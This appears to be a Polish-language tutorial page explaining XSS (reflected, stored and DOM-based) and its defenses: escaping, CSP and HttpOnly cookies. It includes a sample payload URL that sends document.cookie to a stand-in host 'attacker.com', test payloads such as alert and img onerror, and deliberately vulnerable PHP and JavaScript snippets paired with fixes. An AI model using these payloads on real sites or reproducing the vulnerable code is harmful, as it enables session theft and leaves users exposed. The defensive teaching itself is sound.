Skip to content

XSS - mechanizm i ochrona

This content is not available in your language yet.

Cross-Site Scripting (XSS) to jedna z najczestszych i najbardziej niebezpiecznych podatnosci aplikacji webowych. Polega na wstrzyknieciu złośliwego kodu JavaScript do strony internetowej, który nastepnie wykonuje się w przegladarce ofiary. XSS pozwala atakujacemu na kradziez sesji, przekierowanie użytkowników, modyfikacje zawartosci strony czy instalacje malware.

Według OWASP (Open Web Application Security Project), XSS od lat znajduje się w czołówce najczestszych zagrozeni dla aplikacji webowych.

Reflected XSS (odbity)

Złośliwy kod jest czescia zadania HTTP i natychmiast “odbijany” w odpowiedzi. Wymaga nakłonienia ofiary do klikniecia specjalnie przygotowanego linku.

Stored XSS (przechowywany)

Złośliwy kod jest zapisywany na serwerze (np. w bazie danych) i wyświetlany wszystkim uzytkownikom odwiedzajacym strone. Najbardziej niebezpieczny typ.

DOM-based XSS

Atak zachodzi całkowicie po stronie klienta, gdy JavaScript modyfikuje DOM na podstawie niezaufanych danych bez kontaktu z serwerem.

ZagrożenieOpis
Kradziez sesjiPrzechwycenie ciasteczka sesji (document.cookie)
PhishingWyświetlenie fałszywego formularza logowania
KeyloggingRejestrowanie wcisniec klawiszy
DefacementModyfikacja wygladu strony
Rozprzestrzenianie malwarePrzekierowanie do złośliwych stron
Wykonywanie akcjiDziałania w imieniu zalogowanego użytkownika
  1. Atakujacy przygotowuje złośliwy URL

    https://example.com/search?q=<script>document.location='https://attacker.com/steal?c='+document.cookie</script>
  2. Ofiara klika w link

    Link może być zamaskowany przez skracacze URL lub umieszczony w mailu/mediach społecznościowych.

  3. Serwer odbija dane w odpowiedzi

    Jeśli serwer nie sanityzuje danych, skrypt trafia do HTML strony.

  4. Przegladarka wykonuje skrypt

    Skrypt kradnie ciasteczko sesji i wysyła do atakujacego.

  1. Atakujacy dodaje złośliwy komentarz

    W polu komentarza na forum wpisuje skrypt JavaScript.

  2. Serwer zapisuje komentarz w bazie

    Bez walidacji, złośliwy kod trafia do bazy danych.

  3. Każdy użytkownik odwiedzajacy strone jest atakowany

    Przy wyswietlaniu komentarzy skrypt wykonuje się u wszystkich odwiedzajacych.

<?php
// NIEBEZPIECZNE - podatne na XSS
$search = $_GET['q'];
echo "<h1>Wyniki wyszukiwania dla: $search</h1>";
?>

Atakujacy może użyć URL:

?q=<script>alert('XSS')</script>
<?php
// BEZPIECZNE - uzywamy htmlspecialchars()
$search = htmlspecialchars($_GET['q'], ENT_QUOTES, 'UTF-8');
echo "<h1>Wyniki wyszukiwania dla: $search</h1>";
?>

Funkcja htmlspecialchars() konwertuje znaki specjalne HTML:

  • musi być mniejsze od na &lt;
  • > na &gt;
  • " na &quot;
  • ' na &#039;
  • & na &amp;
<?php
// NIEBEZPIECZNE - stored XSS
$comment = $_POST['comment'];
$db->query("INSERT INTO comments (text) VALUES ('$comment')");
// Wyswietlanie komentarzy
$comments = $db->query("SELECT text FROM comments");
foreach ($comments as $comment) {
echo "<div class='comment'>{$comment['text']}</div>";
}
?>
<?php
// BEZPIECZNE - sanityzacja przy wyswietlaniu
$comment = $_POST['comment'];
// Można też sanityzowac przed zapisem, ale lepiej przy wyswietlaniu
$db->query("INSERT INTO comments (text) VALUES (?)", [$comment]);
// Wyswietlanie z escapowaniem
$comments = $db->query("SELECT text FROM comments");
foreach ($comments as $comment) {
$safeText = htmlspecialchars($comment['text'], ENT_QUOTES, 'UTF-8');
echo "<div class='comment'>{$safeText}</div>";
}
?>
// NIEBEZPIECZNE - DOM XSS
const searchTerm = window.location.hash.substring(1);
document.getElementById('search').innerHTML = 'Szukasz: ' + searchTerm;
// URL: https://example.com/#<img src=x onerror=alert('XSS')>
// BEZPIECZNE - użycie textContent zamiast innerHTML
const searchTerm = window.location.hash.substring(1);
document.getElementById('search').textContent = 'Szukasz: ' + searchTerm;
// Alternatywnie - sanityzacja przy uzyciu innerHTML
function escapeHtml(text) {
const div = document.createElement('div');
div.textContent = text;
return div.innerHTML;
}
document.getElementById('search').innerHTML = 'Szukasz: ' + escapeHtml(searchTerm);

CSP to nagłówek HTTP ograniczajacy źródła skryptow:

Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted.com
<?php
header("Content-Security-Policy: default-src 'self'; script-src 'self'");
<?php
// Ciasteczko niedostepne dla JavaScript
setcookie('session_id', $sessionId, [
'httponly' => true,
'secure' => true,
'samesite' => 'Strict'
]);
KontekstMetoda escapowania
HTML bodyhtmlspecialchars()
HTML attributehtmlspecialchars() z ENT_QUOTES
JavaScriptjson_encode() lub specjalna funkcja
URLurlencode()
CSSUnikaj dynamicznych wartości

XSS pozostaje powaznym zagrożeniem dla aplikacji webowych. Skuteczna ochrona wymaga wielowarstwowego podejscia:

  1. Escapowanie danych wyjsciowych - htmlspecialchars() w PHP, textContent w JS
  2. Content Security Policy - ograniczenie źródeł skryptow
  3. HttpOnly cookies - ochrona sesji przed kradzieza
  4. Walidacja danych wejsciowych - jako dodatkowa warstwa

Pamiętaj: Każde dane od użytkownika sa potencjalnie niebezpieczne i musza być odpowiednio obsługiwane przed wyswietleniem w przegladarce.